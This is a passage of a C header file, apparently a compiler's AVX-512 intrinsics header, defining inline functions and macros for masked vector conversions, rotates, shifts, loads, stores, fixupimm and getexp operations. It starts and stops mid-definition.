_mm512_maskz_cvtepi16_epi64(__mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepi16_epi64(__A),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepu8_epi32(__m128i __A)
{
  return (__m512i)__builtin_convertvector((__v16qu)__A, __v16si);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu8_epi32(__m512i __W, __mmask16 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_cvtepu8_epi32(__A),
                                             (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu8_epi32(__mmask16 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                             (__v16si)_mm512_cvtepu8_epi32(__A),
                                             (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepu8_epi64(__m128i __A)
{
  return (__m512i)__builtin_convertvector(__builtin_shufflevector((__v16qu)__A, (__v16qu)__A, 0, 1, 2, 3, 4, 5, 6, 7), __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu8_epi64(__m512i __W, __mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu8_epi64(__A),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu8_epi64(__mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu8_epi64(__A),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepu32_epi64(__m256i __X)
{
  return (__m512i)__builtin_convertvector((__v8su)__X, __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu32_epi64(__m512i __W, __mmask8 __U, __m256i __X)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu32_epi64(__X),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu32_epi64(__mmask8 __U, __m256i __X)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu32_epi64(__X),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepu16_epi32(__m256i __A)
{
  return (__m512i)__builtin_convertvector((__v16hu)__A, __v16si);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu16_epi32(__m512i __W, __mmask16 __U, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                            (__v16si)_mm512_cvtepu16_epi32(__A),
                                            (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu16_epi32(__mmask16 __U, __m256i __A)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                            (__v16si)_mm512_cvtepu16_epi32(__A),
                                            (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_cvtepu16_epi64(__m128i __A)
{
  return (__m512i)__builtin_convertvector((__v8hu)__A, __v8di);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_cvtepu16_epi64(__m512i __W, __mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu16_epi64(__A),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvtepu16_epi64(__mmask8 __U, __m128i __A)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_cvtepu16_epi64(__A),
                                             (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_rorv_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_prorvd512((__v16si)__A, (__v16si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_rorv_epi32 (__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                           (__v16si)_mm512_rorv_epi32(__A, __B),
                                           (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_rorv_epi32 (__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                           (__v16si)_mm512_rorv_epi32(__A, __B),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_rorv_epi64 (__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_prorvq512((__v8di)__A, (__v8di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_rorv_epi64 (__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                                            (__v8di)_mm512_rorv_epi64(__A, __B),
                                            (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_rorv_epi64 (__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                                            (__v8di)_mm512_rorv_epi64(__A, __B),
                                            (__v8di)_mm512_setzero_si512());
}


#define _mm512_cmp_epi32_mask(a, b, p) \
  ((__mmask16)__builtin_ia32_cmpd512_mask((__v16si)(__m512i)(a), \
                                          (__v16si)(__m512i)(b), (int)(p), \
                                          (__mmask16)-1))

#define _mm512_cmp_epu32_mask(a, b, p) \
  ((__mmask16)__builtin_ia32_ucmpd512_mask((__v16si)(__m512i)(a), \
                                           (__v16si)(__m512i)(b), (int)(p), \
                                           (__mmask16)-1))

#define _mm512_cmp_epi64_mask(a, b, p) \
  ((__mmask8)__builtin_ia32_cmpq512_mask((__v8di)(__m512i)(a), \
                                         (__v8di)(__m512i)(b), (int)(p), \
                                         (__mmask8)-1))

#define _mm512_cmp_epu64_mask(a, b, p) \
  ((__mmask8)__builtin_ia32_ucmpq512_mask((__v8di)(__m512i)(a), \
                                          (__v8di)(__m512i)(b), (int)(p), \
                                          (__mmask8)-1))

#define _mm512_mask_cmp_epi32_mask(m, a, b, p) \
  ((__mmask16)__builtin_ia32_cmpd512_mask((__v16si)(__m512i)(a), \
                                          (__v16si)(__m512i)(b), (int)(p), \
                                          (__mmask16)(m)))

#define _mm512_mask_cmp_epu32_mask(m, a, b, p) \
  ((__mmask16)__builtin_ia32_ucmpd512_mask((__v16si)(__m512i)(a), \
                                           (__v16si)(__m512i)(b), (int)(p), \
                                           (__mmask16)(m)))

#define _mm512_mask_cmp_epi64_mask(m, a, b, p) \
  ((__mmask8)__builtin_ia32_cmpq512_mask((__v8di)(__m512i)(a), \
                                         (__v8di)(__m512i)(b), (int)(p), \
                                         (__mmask8)(m)))

#define _mm512_mask_cmp_epu64_mask(m, a, b, p) \
  ((__mmask8)__builtin_ia32_ucmpq512_mask((__v8di)(__m512i)(a), \
                                          (__v8di)(__m512i)(b), (int)(p), \
                                          (__mmask8)(m)))

#define _mm512_rol_epi32(a, b) \
  ((__m512i)__builtin_ia32_prold512((__v16si)(__m512i)(a), (int)(b)))

#define _mm512_mask_rol_epi32(W, U, a, b) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_rol_epi32((a), (b)), \
                                       (__v16si)(__m512i)(W)))

#define _mm512_maskz_rol_epi32(U, a, b) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_rol_epi32((a), (b)), \
                                       (__v16si)_mm512_setzero_si512()))

#define _mm512_rol_epi64(a, b) \
  ((__m512i)__builtin_ia32_prolq512((__v8di)(__m512i)(a), (int)(b)))

#define _mm512_mask_rol_epi64(W, U, a, b) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_rol_epi64((a), (b)), \
                                       (__v8di)(__m512i)(W)))

#define _mm512_maskz_rol_epi64(U, a, b) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_rol_epi64((a), (b)), \
                                       (__v8di)_mm512_setzero_si512()))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_rolv_epi32 (__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_prolvd512((__v16si)__A, (__v16si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_rolv_epi32 (__m512i __W, __mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                           (__v16si)_mm512_rolv_epi32(__A, __B),
                                           (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_rolv_epi32 (__mmask16 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                                           (__v16si)_mm512_rolv_epi32(__A, __B),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_rolv_epi64 (__m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_prolvq512((__v8di)__A, (__v8di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_rolv_epi64 (__m512i __W, __mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                                            (__v8di)_mm512_rolv_epi64(__A, __B),
                                            (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_rolv_epi64 (__mmask8 __U, __m512i __A, __m512i __B)
{
  return (__m512i)__builtin_ia32_selectq_512(__U,
                                            (__v8di)_mm512_rolv_epi64(__A, __B),
                                            (__v8di)_mm512_setzero_si512());
}

#define _mm512_ror_epi32(A, B) \
  ((__m512i)__builtin_ia32_prord512((__v16si)(__m512i)(A), (int)(B)))

#define _mm512_mask_ror_epi32(W, U, A, B) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_ror_epi32((A), (B)), \
                                       (__v16si)(__m512i)(W)))

#define _mm512_maskz_ror_epi32(U, A, B) \
  ((__m512i)__builtin_ia32_selectd_512((__mmask16)(U), \
                                       (__v16si)_mm512_ror_epi32((A), (B)), \
                                       (__v16si)_mm512_setzero_si512()))

#define _mm512_ror_epi64(A, B) \
  ((__m512i)__builtin_ia32_prorq512((__v8di)(__m512i)(A), (int)(B)))

#define _mm512_mask_ror_epi64(W, U, A, B) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_ror_epi64((A), (B)), \
                                       (__v8di)(__m512i)(W)))

#define _mm512_maskz_ror_epi64(U, A, B) \
  ((__m512i)__builtin_ia32_selectq_512((__mmask8)(U), \
                                       (__v8di)_mm512_ror_epi64((A), (B)), \
                                       (__v8di)_mm512_setzero_si512()))

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_slli_epi32(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_pslldi512((__v16si)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_slli_epi32(__m512i __W, __mmask16 __U, __m512i __A,
                       unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_slli_epi32(__A, __B),
                                         (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_slli_epi32(__mmask16 __U, __m512i __A, unsigned int __B) {
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_slli_epi32(__A, __B),
                                         (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_slli_epi64(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_psllqi512((__v8di)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_slli_epi64(__m512i __W, __mmask8 __U, __m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_slli_epi64(__A, __B),
                                          (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_slli_epi64(__mmask8 __U, __m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_slli_epi64(__A, __B),
                                          (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srli_epi32(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_psrldi512((__v16si)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srli_epi32(__m512i __W, __mmask16 __U, __m512i __A,
                       unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_srli_epi32(__A, __B),
                                         (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srli_epi32(__mmask16 __U, __m512i __A, unsigned int __B) {
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                         (__v16si)_mm512_srli_epi32(__A, __B),
                                         (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srli_epi64(__m512i __A, unsigned int __B)
{
  return (__m512i)__builtin_ia32_psrlqi512((__v8di)__A, (int)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srli_epi64(__m512i __W, __mmask8 __U, __m512i __A,
                       unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_srli_epi64(__A, __B),
                                          (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srli_epi64(__mmask8 __U, __m512i __A,
                        unsigned int __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                          (__v8di)_mm512_srli_epi64(__A, __B),
                                          (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_load_epi32 (__m512i __W, __mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_movdqa32load512_mask ((const __v16si *) __P,
              (__v16si) __W,
              (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_load_epi32 (__mmask16 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_movdqa32load512_mask ((const __v16si *) __P,
              (__v16si)
              _mm512_setzero_si512 (),
              (__mmask16) __U);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_store_epi32 (void *__P, __mmask16 __U, __m512i __A)
{
  __builtin_ia32_movdqa32store512_mask ((__v16si *) __P, (__v16si) __A,
          (__mmask16) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mov_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_selectd_512 ((__mmask16) __U,
                 (__v16si) __A,
                 (__v16si) __W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_mov_epi32 (__mmask16 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_selectd_512 ((__mmask16) __U,
                 (__v16si) __A,
                 (__v16si) _mm512_setzero_si512 ());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_mov_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_selectq_512 ((__mmask8) __U,
                 (__v8di) __A,
                 (__v8di) __W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_mov_epi64 (__mmask8 __U, __m512i __A)
{
  return (__m512i) __builtin_ia32_selectq_512 ((__mmask8) __U,
                 (__v8di) __A,
                 (__v8di) _mm512_setzero_si512 ());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_load_epi64 (__m512i __W, __mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_movdqa64load512_mask ((const __v8di *) __P,
              (__v8di) __W,
              (__mmask8) __U);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_load_epi64 (__mmask8 __U, void const *__P)
{
  return (__m512i) __builtin_ia32_movdqa64load512_mask ((const __v8di *) __P,
              (__v8di)
              _mm512_setzero_si512 (),
              (__mmask8) __U);
}

static __inline__ void __DEFAULT_FN_ATTRS512
_mm512_mask_store_epi64 (void *__P, __mmask8 __U, __m512i __A)
{
  __builtin_ia32_movdqa64store512_mask ((__v8di *) __P, (__v8di) __A,
          (__mmask8) __U);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_movedup_pd (__m512d __A)
{
  return (__m512d)__builtin_shufflevector((__v8df)__A, (__v8df)__A,
                                          0, 0, 2, 2, 4, 4, 6, 6);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_movedup_pd (__m512d __W, __mmask8 __U, __m512d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_movedup_pd(__A),
                                              (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_movedup_pd (__mmask8 __U, __m512d __A)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                              (__v8df)_mm512_movedup_pd(__A),
                                              (__v8df)_mm512_setzero_pd());
}

#define _mm512_fixupimm_round_pd(A, B, C, imm, R) \
  ((__m512d)__builtin_ia32_fixupimmpd512_mask((__v8df)(__m512d)(A), \
                                              (__v8df)(__m512d)(B), \
                                              (__v8di)(__m512i)(C), (int)(imm), \
                                              (__mmask8)-1, (int)(R)))

#define _mm512_mask_fixupimm_round_pd(A, U, B, C, imm, R) \
  ((__m512d)__builtin_ia32_fixupimmpd512_mask((__v8df)(__m512d)(A), \
                                              (__v8df)(__m512d)(B), \
                                              (__v8di)(__m512i)(C), (int)(imm), \
                                              (__mmask8)(U), (int)(R)))

#define _mm512_fixupimm_pd(A, B, C, imm) \
  ((__m512d)__builtin_ia32_fixupimmpd512_mask((__v8df)(__m512d)(A), \
                                              (__v8df)(__m512d)(B), \
                                              (__v8di)(__m512i)(C), (int)(imm), \
                                              (__mmask8)-1, \
                                              _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_fixupimm_pd(A, U, B, C, imm) \
  ((__m512d)__builtin_ia32_fixupimmpd512_mask((__v8df)(__m512d)(A), \
                                              (__v8df)(__m512d)(B), \
                                              (__v8di)(__m512i)(C), (int)(imm), \
                                              (__mmask8)(U), \
                                              _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_fixupimm_round_pd(U, A, B, C, imm, R) \
  ((__m512d)__builtin_ia32_fixupimmpd512_maskz((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               (__v8di)(__m512i)(C), \
                                               (int)(imm), (__mmask8)(U), \
                                               (int)(R)))

#define _mm512_maskz_fixupimm_pd(U, A, B, C, imm) \
  ((__m512d)__builtin_ia32_fixupimmpd512_maskz((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               (__v8di)(__m512i)(C), \
                                               (int)(imm), (__mmask8)(U), \
                                               _MM_FROUND_CUR_DIRECTION))

#define _mm512_fixupimm_round_ps(A, B, C, imm, R) \
  ((__m512)__builtin_ia32_fixupimmps512_mask((__v16sf)(__m512)(A), \
                                             (__v16sf)(__m512)(B), \
                                             (__v16si)(__m512i)(C), (int)(imm), \
                                             (__mmask16)-1, (int)(R)))

#define _mm512_mask_fixupimm_round_ps(A, U, B, C, imm, R) \
  ((__m512)__builtin_ia32_fixupimmps512_mask((__v16sf)(__m512)(A), \
                                             (__v16sf)(__m512)(B), \
                                             (__v16si)(__m512i)(C), (int)(imm), \
                                             (__mmask16)(U), (int)(R)))

#define _mm512_fixupimm_ps(A, B, C, imm) \
  ((__m512)__builtin_ia32_fixupimmps512_mask((__v16sf)(__m512)(A), \
                                             (__v16sf)(__m512)(B), \
                                             (__v16si)(__m512i)(C), (int)(imm), \
                                             (__mmask16)-1, \
                                             _MM_FROUND_CUR_DIRECTION))

#define _mm512_mask_fixupimm_ps(A, U, B, C, imm) \
  ((__m512)__builtin_ia32_fixupimmps512_mask((__v16sf)(__m512)(A), \
                                             (__v16sf)(__m512)(B), \
                                             (__v16si)(__m512i)(C), (int)(imm), \
                                             (__mmask16)(U), \
                                             _MM_FROUND_CUR_DIRECTION))

#define _mm512_maskz_fixupimm_round_ps(U, A, B, C, imm, R) \
  ((__m512)__builtin_ia32_fixupimmps512_maskz((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              (__v16si)(__m512i)(C), \
                                              (int)(imm), (__mmask16)(U), \
                                              (int)(R)))

#define _mm512_maskz_fixupimm_ps(U, A, B, C, imm) \
  ((__m512)__builtin_ia32_fixupimmps512_maskz((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              (__v16si)(__m512i)(C), \
                                              (int)(imm), (__mmask16)(U), \
                                              _MM_FROUND_CUR_DIRECTION))

#define _mm_fixupimm_round_sd(A, B, C, imm, R) \
  ((__m128d)__builtin_ia32_fixupimmsd_mask((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           (__v2di)(__m128i)(C), (int)(imm), \
                                           (__mmask8)-1, (int)(R)))

#define _mm_mask_fixupimm_round_sd(A, U, B, C, imm, R) \
  ((__m128d)__builtin_ia32_fixupimmsd_mask((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           (__v2di)(__m128i)(C), (int)(imm), \
                                           (__mmask8)(U), (int)(R)))

#define _mm_fixupimm_sd(A, B, C, imm) \
  ((__m128d)__builtin_ia32_fixupimmsd_mask((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           (__v2di)(__m128i)(C), (int)(imm), \
                                           (__mmask8)-1, \
                                           _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_fixupimm_sd(A, U, B, C, imm) \
  ((__m128d)__builtin_ia32_fixupimmsd_mask((__v2df)(__m128d)(A), \
                                           (__v2df)(__m128d)(B), \
                                           (__v2di)(__m128i)(C), (int)(imm), \
                                           (__mmask8)(U), \
                                           _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_fixupimm_round_sd(U, A, B, C, imm, R) \
  ((__m128d)__builtin_ia32_fixupimmsd_maskz((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2di)(__m128i)(C), (int)(imm), \
                                            (__mmask8)(U), (int)(R)))

#define _mm_maskz_fixupimm_sd(U, A, B, C, imm) \
  ((__m128d)__builtin_ia32_fixupimmsd_maskz((__v2df)(__m128d)(A), \
                                            (__v2df)(__m128d)(B), \
                                            (__v2di)(__m128i)(C), (int)(imm), \
                                            (__mmask8)(U), \
                                            _MM_FROUND_CUR_DIRECTION))

#define _mm_fixupimm_round_ss(A, B, C, imm, R) \
  ((__m128)__builtin_ia32_fixupimmss_mask((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          (__v4si)(__m128i)(C), (int)(imm), \
                                          (__mmask8)-1, (int)(R)))

#define _mm_mask_fixupimm_round_ss(A, U, B, C, imm, R) \
  ((__m128)__builtin_ia32_fixupimmss_mask((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          (__v4si)(__m128i)(C), (int)(imm), \
                                          (__mmask8)(U), (int)(R)))

#define _mm_fixupimm_ss(A, B, C, imm) \
  ((__m128)__builtin_ia32_fixupimmss_mask((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          (__v4si)(__m128i)(C), (int)(imm), \
                                          (__mmask8)-1, \
                                          _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_fixupimm_ss(A, U, B, C, imm) \
  ((__m128)__builtin_ia32_fixupimmss_mask((__v4sf)(__m128)(A), \
                                          (__v4sf)(__m128)(B), \
                                          (__v4si)(__m128i)(C), (int)(imm), \
                                          (__mmask8)(U), \
                                          _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_fixupimm_round_ss(U, A, B, C, imm, R) \
  ((__m128)__builtin_ia32_fixupimmss_maskz((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4si)(__m128i)(C), (int)(imm), \
                                           (__mmask8)(U), (int)(R)))

#define _mm_maskz_fixupimm_ss(U, A, B, C, imm) \
  ((__m128)__builtin_ia32_fixupimmss_maskz((__v4sf)(__m128)(A), \
                                           (__v4sf)(__m128)(B), \
                                           (__v4si)(__m128i)(C), (int)(imm), \
                                           (__mmask8)(U), \
                                           _MM_FROUND_CUR_DIRECTION))

#define _mm_getexp_round_sd(A, B, R) \
  ((__m128d)__builtin_ia32_getexpsd128_round_mask((__v2df)(__m128d)(A), \
                                                  (__v2df)(__m128d)(B), \
                                                  (__v2df)_mm_setzero_pd(), \
                                                  (__mmask8)-1, (int)(R)))


static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_getexp_sd (__m128d __A, __m128d __B)
{
  return (__m128d) __builtin_ia32_getexpsd128_round_mask ((__v2df) __A,
                 (__v2df) __B, (__v2df) _mm_setzero_pd(), (__mmask8) -1, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_mask_getexp_sd (__m128d __W, __mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_getexpsd128_round_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) __W,
          (__mmask8) __U,
          _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_getexp_round_sd(W, U, A, B, R) \
  ((__m128d)__builtin_ia32_getexpsd128_round_mask((__v2df)(__m128d)(A), \
                                                  (__v2df)(__m128d)(B), \
                                                  (__v2df)(__m128d)(W), \
                                                  (__mmask8)(U), (int)(R)))

static __inline__ __m128d __DEFAULT_FN_ATTRS128
_mm_maskz_getexp_sd (__mmask8 __U, __m128d __A, __m128d __B)
{
 return (__m128d) __builtin_ia32_getexpsd128_round_mask ( (__v2df) __A,
          (__v2df) __B,
          (__v2df) _mm_setzero_pd (),
          (__mmask8) __U,
          _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_getexp_round_sd(U, A, B, R) \
  ((__m128d)__builtin_ia32_getexpsd128_round_mask((__v2df)(__m128d)(A), \
                                                  (__v2df)(__m128d)(B), \
                                                  (__v2df)_mm_setzero_pd(), \
                                                  (__mmask8)(U), (int)(R)))

#define _mm_getexp_round_ss(A, B, R) \
  ((__m128)__builtin_ia32_getexpss128_round_mask((__v4sf)(__m128)(A), \
                                                 (__v4sf)(__m128)(B), \
                                                 (__v4sf)_mm_setzero_ps(), \
                                                 (__mmask8)-1, (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_getexp_ss (__m128 __A, __m128 __B)
{
  return (__m128) __builtin_ia32_getexpss128_round_mask ((__v4sf) __A,
                (__v4sf) __B, (__v4sf)  _mm_setzero_ps(), (__mmask8) -1, _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_mask_getexp_ss (__m128 __W, __mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_getexpss128_round_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) __W,
          (__mmask8) __U,
          _MM_FROUND_CUR_DIRECTION);
}

#define _mm_mask_getexp_round_ss(W, U, A, B, R) \
  ((__m128)__builtin_ia32_getexpss128_round_mask((__v4sf)(__m128)(A), \
                                                 (__v4sf)(__m128)(B), \
                                                 (__v4sf)(__m128)(W), \
                                                 (__mmask8)(U), (int)(R)))

static __inline__ __m128 __DEFAULT_FN_ATTRS128
_mm_maskz_getexp_ss (__mmask8 __U, __m128 __A, __m128 __B)
{
 return (__m128) __builtin_ia32_getexpss128_round_mask ((__v4sf) __A,
          (__v4sf) __B,
          (__v4sf) _mm_setzero_ps (),
          (__mmask8) __U,
          _MM_FROUND_CUR_DIRECTION);
}

#define _mm_maskz_getexp_round_ss(U, A, B, R) \
  ((__m128)__builtin_ia32_getexpss128_round_mask((__v4sf)(__m128)(A), \
                                                 (__v4sf)(__m128)(B), \
                                                 (__v4sf)_mm_setzero_ps(), \
                                                 (__mmask8)(U), (int)(R)))

#define _mm_getmant_round_sd(A, B, C, D, R) \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)_mm_setzero_pd(), \
                                                (__mmask8)-1, (int)(R)))

#define _mm_getmant_sd(A, B, C, D)  \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)_mm_setzero_pd(), \
                                                (__mmask8)-1, \
